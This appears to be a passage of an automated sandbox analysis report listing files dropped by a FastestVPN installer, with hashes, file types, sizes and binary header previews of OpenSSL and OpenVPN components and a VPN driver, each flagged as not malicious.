                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:kavF2w273DAx5at3y6/c1M94lh7NX06qkX/0IT7/5:kAF2w2jE5k3y6/cyinNXy4B7h
                                                                                                                MD5:2C700BBCDA59BFE2CD7EBF9BAA5B2626
                                                                                                                SHA1:72EFAA0E8652FB4ADC21E4484E7F63AA968F39D2
                                                                                                                SHA-256:C9C59AB5B3369B97C85129F160491BD743B68DE1AD41EE6EEBA69009407B54E7
                                                                                                                SHA-512:0911C7FED9653D9D50BAD7219E45778367DE4B105B5079A8011415F65465B80782A98A503CEBFB309997BCFB2A8620402579456565A24C69A20CBCBD0130DA20
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...........!..............................`n.........................p......L.....@... .........................m).......3...0..@....................@...)........................... .......................................................text...T...........................`.P`.data....-..........................@.`..rdata..............................@.`@.bss....d.............................`..edata..m).......*...t..............@.0@.idata...3.......4..................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc...@....0......................@.0..reloc...)...@...*..................@.0B/4...........p......................@..B/19......l.......n..................@..B/31...../............v..............@..B/45.....|...........................@..B/57..........0......................@.0B/70.....2....@..........

                                                                                                                C:\Program Files\FastestVPN\Resources\is-VKJQU.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):93832
                                                                                                                Entropy (8bit):5.485112927422894
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:fP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGkK/CH8:fePOYe4bu1epDh8RWGkK/b
                                                                                                                MD5:8E7EE7C3876683902475753519681407
                                                                                                                SHA1:75FACB7F9C59B284F97956E799E57FB0F606C49D
                                                                                                                SHA-256:6D5041A8EF796C66BA151D8FCFAFDD96BCAA99B57D2777897FD25A87A5E41E13
                                                                                                                SHA-512:523EBF3A4DF9F6D299E72079DEF0A0DA9127601796D9AA613B70AD2F66EE2166F4F8F75083F47E67FFFD892A09FA437F3B12BD1B27065200E90F8617E3E83727
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p............@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\is-VSH0G.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):113800
                                                                                                                Entropy (8bit):6.497871168162335
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:NADrSog8rBPCmGxRmZZlfzaag8fPrZyEOE9toSK/G:qDl9PQTmZ53rZyEOE92L/G
                                                                                                                MD5:C966B6A5F0143199FF16F8E491E2B44D
                                                                                                                SHA1:A47ECE66964E5432551E782EC53EBFEA42845256
                                                                                                                SHA-256:EA7E53C74D1E66FB0363A16DCCB2B893183937BF4A69770EA44D6BCD6C1A15D6
                                                                                                                SHA-512:54292A35794B0E147BDCDE724D7101FEDD499F5799175545C5E2BB4362D6387B713EBF511EBF25B4D7E41086073E167524C401936623BB3AE8E337E3D5ADE5CF
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hw...........q......|......|......|......|.....P|.....b............P|.....P|.....P|.....P|.....Rich............PE..d......b.........." ................................................................."....`..........................................p.......}.......................................Y...............................Z..8............................................text............................... ..`.rdata..z...........................@..@.data...(............t..............@....pdata...............v..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):3490952
                                                                                                                Entropy (8bit):6.105770368598401
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:+VwASO4GIU6injGtlqBGqgOtUyrQ8SFJnofeT5W7aTNP6nZsi61o1CPwDv3uFfJe:xB+btBQQ7UQnZsY1CPwDv3uFfJe
                                                                                                                MD5:474D774A60BCBDBB326C248D1B86C785
                                                                                                                SHA1:C8611E2BEA720BB3B8768BB7F347DE04EAB8B00D
                                                                                                                SHA-256:4FB11C716E57A352D0C40B83F00B73A23B16F4418247AFB0E8CA114C20ED7414
                                                                                                                SHA-512:D25EFAE915E303AB98F86A3131E5C128BFFB0FEE7317C2F28D7A9C9836186C46FDB64008BE98EBF1B7C97F809AD4A170929583B5B899427C405C90503D3D39E0
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.Q.5.?.5.?.5.?.<..'.?.g.>.7.?.g.:.>.?.g.;.=.?.g.<.1.?.!.>.8.?.5.>.?.5.?.+.?...;.N.?...?.4.?.....4.?...=.4.?.Rich5.?.........................PE..d...g..b.........." .....p%...................................................5.......5...`...........................................0..h....4.T.....5.|.....3.......5...... 5..P..T.-.8.............................-.8.............4..............................text....o%......p%................. ..`.rdata........%......t%.............@..@.data....~....2..0...t2.............@....pdata........3.......2.............@..@.idata..T'....4..(...h4.............@..@.00cfg..Q.....5.......4.............@..@.rsrc...|.....5.......4.............@..@.reloc...z... 5..|....4.............@..B................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\libeay32.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):2276496
                                                                                                                Entropy (8bit):6.2839627604807955
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:49152:sqrGLY4rzqgpJdli4OLz1/SK1ULLnLWdaqTv6akDCbpCX464lnbW148y1PuDT5Wg:sqr0Y4rugpJdli4OLz1/SK1ULLLWdaq8
                                                                                                                MD5:A928351F9555A07B7A8DCEA6B209D367
                                                                                                                SHA1:66379948FB082D9EB390B77C4E00EFAD25062C9C
                                                                                                                SHA-256:8993C69DAA63314019E3D33190140ACAC23704D20AB3BDF946B41969DD23B0A7
                                                                                                                SHA-512:099DAD1E89474F449EF9EA35CC93C2C8A643AF9108FD38FFB7B748FE93F0A25553B135AC6C6E33EDB8B1AD55687CDF182C6FA3E2D5018110D0500C3E2CA35EEA
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y.p...<.....!.............0................(c.........................@........"...@... .........................A....P..........@.............".....................................p.......................R..h............................text...............................`.p`.data...|d.......f..................@.`..rdata..T............d..............@.`@.bss.........`........................`..edata..A............B..............@.0@.idata.......P......................@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...@...........................@.0..reloc.............................@.0B/4...........@......................@..B/19......i...P...j..................@..B/31..................,..............@..B/45..................@..............@..B/57..................R..............@.0B/70.....2............Z..

                                                                                                                C:\Program Files\FastestVPN\Resources\liblzo2-2.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):178552
                                                                                                                Entropy (8bit):6.1636094237053305
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:2h5CDZ37FRuI7hDEjQ777RZ7B7T7N55Fjh/YAWFOEBhzFJEB55jKTrK/T:J3bRn9ZNnB5NfKTW/T
                                                                                                                MD5:3D0E093C2EA9BE7460BFBAD86E6FBB58
                                                                                                                SHA1:C36EB5601DF523DE321146CF1853F899921AB519
                                                                                                                SHA-256:810DD30ED0002E2D71937EA818F77E60B0D385D32CC61D92A466FCB6FDCE5526
                                                                                                                SHA-512:CF4A35C0FAA30FE2B96F2A04E91AFCF9CD08ADF021031C1CEFEF8E2F4028381FD1DEABA7B744AB2245B60A623715CDE8B7C8C9D7AE52728701D773F4B26367BB
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........-......#.....L...................`.....l......................................@... .........................H.......................................t...................................................................................text....K.......L..................`.p`.data........`.......P..............@.0..rdata..,....p.......R..............@.`@.bss..................................`..edata..H............f..............@.0@.idata...............v..............@.0..CRT....,............|..............@.0..tls.... ............~..............@.0..reloc..t...........................@.0B........................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\libpkcs11-helper-1.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):113800
                                                                                                                Entropy (8bit):6.497871168162335
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:3072:NADrSog8rBPCmGxRmZZlfzaag8fPrZyEOE9toSK/G:qDl9PQTmZ53rZyEOE92L/G
                                                                                                                MD5:C966B6A5F0143199FF16F8E491E2B44D
                                                                                                                SHA1:A47ECE66964E5432551E782EC53EBFEA42845256
                                                                                                                SHA-256:EA7E53C74D1E66FB0363A16DCCB2B893183937BF4A69770EA44D6BCD6C1A15D6
                                                                                                                SHA-512:54292A35794B0E147BDCDE724D7101FEDD499F5799175545C5E2BB4362D6387B713EBF511EBF25B4D7E41086073E167524C401936623BB3AE8E337E3D5ADE5CF
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hw...........q......|......|......|......|.....P|.....b............P|.....P|.....P|.....P|.....Rich............PE..d......b.........." ................................................................."....`..........................................p.......}.......................................Y...............................Z..8............................................text............................... ..`.rdata..z...........................@..@.data...(............t..............@....pdata...............v..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\libssl-1_1-x64.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):700040
                                                                                                                Entropy (8bit):5.552155208041958
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:UB4x/cH7gueaxFi00ZoPqETRzRnYhUpfakLaugPoDhTMY98c8mvVfU2lvzpi/O:avziRZoXuugCtD8JmvNU2lvzpiG
                                                                                                                MD5:6EE5C92E2918B27974086A6F24D79043
                                                                                                                SHA1:40595B75A513BBF1BE16780784E13EFDAD2E40C7
                                                                                                                SHA-256:86F3A19221C710CFF12607FEB00D8CD0AF932873430AD1B59C990593010EC3CF
                                                                                                                SHA-512:F07BBE5D367D6F7474E08507F3827BDCAC5503673F2027CA139303FA573F4EEB7D82A9D88EE0F3291F53629C0644B39E2C81380B45F8E2A286FFCC326AE0E4B7
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............]...]...]..M]...]..\...]...\...]..\...]..\...]..\...]H..\...]...]o..]H..\...]H..\...]H.!]...]H..\...]Rich...]........PE..d...g..b.........." .....:...L......<.....................................................`..........................................+...N..@E..........s........L..............h.......8...........................@...8............0..@............................text....8.......:.................. ..`.rdata...)...P...*...>..............@..@.data...QM.......D...h..............@....pdata...T.......V..................@..@.idata..*W...0...X..................@..@.00cfg..Q............Z..............@..@.rsrc...s............\..............@..@.reloc..]............d..............@..B................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\libssl32.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):244360
                                                                                                                Entropy (8bit):6.534833630270433
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:6144:lE2PcqwWvsYJlWewlEyDFINgMjY/fVYPCtmA+KiA/R:lE+1JYVEgFugMjXP/A0A/R
                                                                                                                MD5:92CAE75041DFA888EE8284E7C6BB658E
                                                                                                                SHA1:2632FD77EAEDC09977192CFAA19EAEE66F538041
                                                                                                                SHA-256:ACEB2DBBA3948EF0D2908CAE3B2E1586AC82B700C1DE7E6420FA241EFBBB0ECB
                                                                                                                SHA-512:F01AC04FBD3EA1FD4D39D7654DF7D97EB15D60BC9EDFDF36C92176CF8A66FC148E4ECA480F52B7283AF1B9966983F4275A4E221E2D73056A7F3F4290C4D85C17
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R."K...........#...8............`..............k................................Ub........ ......................P.. ....p...$...................................................................................................................text...t...........................`.P`.data...0%.......&..................@.`..rdata..x^.......`..................@.`@.bss.........@........................@..edata.. ....P.......*..............@.0@.idata...$...p...&...H..............@.0..reloc...............n..............@.0B........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\msvcr100.dll (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):776328
                                                                                                                Entropy (8bit):6.92032788063544
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:uQmCy3NeRjkpQmj3oaMtQqjoygfXq3kon9IlbgaOxQdVJJ6j5EBKX8hUk/K:vmCy3VQs9MtLjTgfa3kon9FaOdEukC
                                                                                                                MD5:6ECA26F16FEB505B1BD0A0A25DA4AEDB
                                                                                                                SHA1:297A6E0D660FAF9E924B2BE827D9D9DC81E4EB85
                                                                                                                SHA-256:CD9005B83CAB43E566F287D1BB1A3DE33F2D67AD5013DC5213232A5DC5309BDB
                                                                                                                SHA-512:78F749E1D591D9AC2C1BB3A47FA7D4099A18303357F990E97D6E531FA50FE2466C8A203504F599C74EE92DFA179CC4AFBC561C60AFD01FA103A3276E79760A46
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ R.HA<.HA<.HA<.A9..KA<.HA=..A<.'7..@<.'7...A<.'7..|A<.'7...A<.'7..IA<.'7..IA<.'7..IA<.RichHA<.........PE..L.....K.........."!................. ....... .....x................................m.....@..........................I......D...(............................... L..h...8...........................pE..@............................................text............................... ..`.data...|Z... ...N..................@....rsrc................X..............@..@.reloc.. L.......N...\..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\openssl.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):918536
                                                                                                                Entropy (8bit):6.038516348303836
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:12288:Kts+IUZyyi1sznLRjH0qawdB1iT7jwq7Kjn+o/J:KtLIUZPyaVH0qawP1iDwjn+oh
                                                                                                                MD5:6F1B7C24C5FF662F4364B323F42C101A
                                                                                                                SHA1:B74949B7A809F8139BD89BD5B96E230108A6615D
                                                                                                                SHA-256:034248CEFD5BC35A927682E44B79C354A0AEE25E800CF99D86EC591FD8722B5A
                                                                                                                SHA-512:B13B4A46FB14C687925DE21982C4DE66C201E9FE16D7C03B2C65900CEF47C5E6DB338545E868EE6216C2A92453557BEA6C0D084B5D76A731CAA00BA821FA40E0
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...../...................H................@.................................n.....@... .........................N.......(................................a...................................................#..`............................text...............................`.P`.data....%.......&..................@.`..rdata..D...........................@.`@.bss.....G............................`..edata..N...........................@.0@.idata..(...........................@.0..CRT....4...........................@.0..tls.... ............0..............@.0..reloc...a.......b...2..............@.0B/4...........P......................@..B/19..........`......................@..B/31.....]............8..............@..B/45.......... .......T..............@..B/57..........@.......p..............@.0B/70..........P.......x..............@..B/81..........`.......~..

                                                                                                                C:\Program Files\FastestVPN\Resources\openvpn.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):865416
                                                                                                                Entropy (8bit):6.558002511161394
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:24576:dxRZrLEvOx+pFpQlzLyPkET7c5zaSjLUVaoNkUNBKsEpX:dtUmxmpQFLyPkEixWi
                                                                                                                MD5:A151697A9F14639BFA2CB3E470CEA355
                                                                                                                SHA1:FA45D614ABFF2ED9A707E3DFC02F404CFC18A89F
                                                                                                                SHA-256:4794C710A3E624B1A0D956CFE21EC0433FD85BD2D8EB96ACE3F2B5E5302E225C
                                                                                                                SHA-512:888CFD3919482BB56A15E23A73C868C277CA925EED122327E3399C23D0D647F07B9CD67CCAE28AFD1048A41710DA50126B38E75D7455F56AA95BBECA42D228BF
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........*.w.K.$.K.$.K.$.3.$.K.$.>.%.K.$.$l$.K.$.>.%.K.$.>.%.K.$.>.%.K.$w>.%.K.$w>.%.K.$. .%.K.$. .%.K.$.K.$.I.$w>.%.K.$w>.%.K.$w>n$.K.$w>.%.K.$Rich.K.$................PE..d.....b.........."...........................@....................................q.....`.........................................Pd..P....d..........8....P...^..................................................`...8............................................text.............................. ..`.rdata..^...........................@..@.data...............................@....pdata...^...P...`..................@..@.rsrc...8...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\openvpnserv.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):68744
                                                                                                                Entropy (8bit):6.03232541602541
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:OhNHth2MbtFwpJgYCV7JToLDkhqQovzeTJdCK/C1:OhHTbtsRCskcQovzeTJdCK/a
                                                                                                                MD5:41E94A80206A87D947CE6CF5823494BE
                                                                                                                SHA1:558214579EE8F2732C36F779E545BA1340191E49
                                                                                                                SHA-256:E4275E6430AE1EC21A5CD0F2FC382998DEBC1E433A66129527C1B69792F09F95
                                                                                                                SHA-512:54B0DD18BA43C48B3FC21E4366D7D1DC65147A84AFA3DC29D94C4CF80B49FA67150B8303F576683F712E648CAFF516BFEA3A6F93435D6B33DCAB2C43BC762E35
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z..h...h...h.......h......h......h......h......h......h.......h...h..ih.......h.......h...h...h.......h..Rich.h..........PE..d.....b.........."......r...|.......v.........@.............................@............`.................................................x...T.... .......................0..p...................................@...8............................................text....p.......r.................. ..`.rdata...W.......X...v..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..p....0......................@..B................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\openvpnserv2.exe (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):27784
                                                                                                                Entropy (8bit):6.488306745612165
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:384:YVfdXePAee0fxvSDv2atBymU+DpbGEgivBpnpwK3CrFqa2S0FP27NBYearrDVY:afdXfOvObbU+Nb5RgrFq7rK/YfrDS
                                                                                                                MD5:41C55E2A9D5D9B23C08E3DC067780DC7
                                                                                                                SHA1:1FB62C7FCF24F604676896121C1CCAFB628C1BE1
                                                                                                                SHA-256:D76995DCE5A5A3B0D77ABB438C14504F9825A6BC98676F1BA8D0CC18CEBB0545
                                                                                                                SHA-512:396E8878BAFCFC0DF994B9AF23176D343230B6F6EE82A71E14EFA56347EF0C63B4D277C029EF9FB3EF69D6F1B8AE73ECF92D8DCEDC9312E0C8BFA86EC0B611D2
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....7X.................6...........T... ...`....@.. ....................................@..................................T..K....`...............>............................................................... ............... ..H............text....4... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............<..............@..B.................T......H........1..."..........|0..p...........................................6.(.....(....*...0..S............(....o.....s.......o....s.......o......o.........&..o............9.....o.....*.......#..6........../E.......0..E............(....o.....s.......o....s.......o.........&........9.....o.....*.........#../..........!7.......0..M.......~....s......o.....;.....o......#......$@(....o.........&........9.....o.....*...........,7..........4?.......0..M.......~....s......o.....;.....

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\fastestvpndriver.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):77064
                                                                                                                Entropy (8bit):6.309512423177142
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:c3PLyOk59e89l4oTvomRuJeE3dwifb2CLXlYvcM:ML45g0lKPLwifb2CLXcx
                                                                                                                MD5:760475CD23CE23410F37558452B28545
                                                                                                                SHA1:68ED3626CE9ABE090B960EEB909C4324205DDEF0
                                                                                                                SHA-256:113A6934823339B6873D8CE80F629F37BFA912C4B8201428222025754BFEFA7F
                                                                                                                SHA-512:AB9AEF1013B579784C062D2ED30DAB86DAE541862B7C02FF19943D0987A5C7FC8B12A2C8ABCDB521123DB2E8BC1B806834C80E6C43C33164A004D37A59AE725A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.#Rv.M.v.M.v.M.v.L...M.....q.M.....r.M.....s.M.......M.....w.M.....w.M.Richv.M.........................PE..d....m.\.........."..........0......d0.......................................`...............................................................0..P....@....... ...............P......P...................................................H............................text...n........................... ..h.rdata..D...........................@..H.data...............................@....pdata....... ......................@..HINIT....d....0...................... ....rsrc........@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows7\amd64\is-0Q8U0.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):77064
                                                                                                                Entropy (8bit):6.309512423177142
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:c3PLyOk59e89l4oTvomRuJeE3dwifb2CLXlYvcM:ML45g0lKPLwifb2CLXcx
                                                                                                                MD5:760475CD23CE23410F37558452B28545
                                                                                                                SHA1:68ED3626CE9ABE090B960EEB909C4324205DDEF0
                                                                                                                SHA-256:113A6934823339B6873D8CE80F629F37BFA912C4B8201428222025754BFEFA7F
                                                                                                                SHA-512:AB9AEF1013B579784C062D2ED30DAB86DAE541862B7C02FF19943D0987A5C7FC8B12A2C8ABCDB521123DB2E8BC1B806834C80E6C43C33164A004D37A59AE725A
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2.#Rv.M.v.M.v.M.v.L...M.....q.M.....r.M.....s.M.......M.....w.M.....w.M.Richv.M.........................PE..d....m.\.........."..........0......d0.......................................`...............................................................0..P....@....... ...............P......P...................................................H............................text...n........................... ..h.rdata..D...........................@..H.data...............................@....pdata....... ......................@..HINIT....d....0...................... ....rsrc........@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\fastestvpndriver.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):72304
                                                                                                                Entropy (8bit):6.723888135179154
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:IPxegyYti+IPp+RmwN/jlzQH8rzn3oZrx+vJcRUf:jgLQPp+EwN5K8rcZrmq
                                                                                                                MD5:5EE29684A6D1E66FD1590742620448EE
                                                                                                                SHA1:71DB43CA9730411BADD39AB2631A1346EF740AAA
                                                                                                                SHA-256:3506C17F79A4F38482DE5B5835484C7127B9903A9412FB6B668BE441D83D8B30
                                                                                                                SHA-512:5F0E00DAC143ED9995B5FECD023EA950FC7A37691E5A4DEF24DAB0DCBDE058787CD4997BE8B2BBE948E5CCA96E80112F55BA8DE7BDD39D264709813B67FDDC0D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..f;..f;..f;..f:..f;......f;......f;......f;......f;......f;.Rich.f;.........................PE..L....m.\.....................,......>.......................................................................................P...d.......................p:..........................................0...@............................................text............................... ..h.rdata..`...........................@..H.data...............................@...INIT................................ ....rsrc...............................@..B.reloc..^...........................@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows7\i386\is-FH0V4.tmp

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32 executable (native) Intel 80386, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):72304
                                                                                                                Entropy (8bit):6.723888135179154
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:IPxegyYti+IPp+RmwN/jlzQH8rzn3oZrx+vJcRUf:jgLQPp+EwN5K8rcZrmq
                                                                                                                MD5:5EE29684A6D1E66FD1590742620448EE
                                                                                                                SHA1:71DB43CA9730411BADD39AB2631A1346EF740AAA
                                                                                                                SHA-256:3506C17F79A4F38482DE5B5835484C7127B9903A9412FB6B668BE441D83D8B30
                                                                                                                SHA-512:5F0E00DAC143ED9995B5FECD023EA950FC7A37691E5A4DEF24DAB0DCBDE058787CD4997BE8B2BBE948E5CCA96E80112F55BA8DE7BDD39D264709813B67FDDC0D
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..f;..f;..f;..f:..f;......f;......f;......f;......f;......f;.Rich.f;.........................PE..L....m.\.....................,......>.......................................................................................P...d.......................p:..........................................0...@............................................text............................... ..h.rdata..`...........................@..H.data...............................@...INIT................................ ....rsrc...............................@..B.reloc..^...........................@..B................................................................................................................................................................................................................................................................................................

                                                                                                                C:\Program Files\FastestVPN\Resources\sp\driver\windows8\amd64\fastestvpndriver.sys (copy)

                                                                                                                Download File
                                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-T79UM.tmp\mapMd1URzq.tmp
                                                                                                                File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                Category:dropped
                                                                                                                Size (bytes):104424
                                                                                                                Entropy (8bit):6.366713641084616
                                                                                                                Encrypted:false
                                                                                                                SSDEEP:1536:Y79hJ78bsmPOC5lhtb5FGNk4wZO+cWK4orE3HazVvon6BK2s6th:YpL78XPOCN1GeOUKdebIKfS
                                                                                                                MD5:95FD4F27F82A9E4D6E2A53AF7A9096E6
                                                                                                                SHA1:5F772C89901841AF1814C858359AC5FEB9BE3C24
                                                                                                                SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                Malicious:false
                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

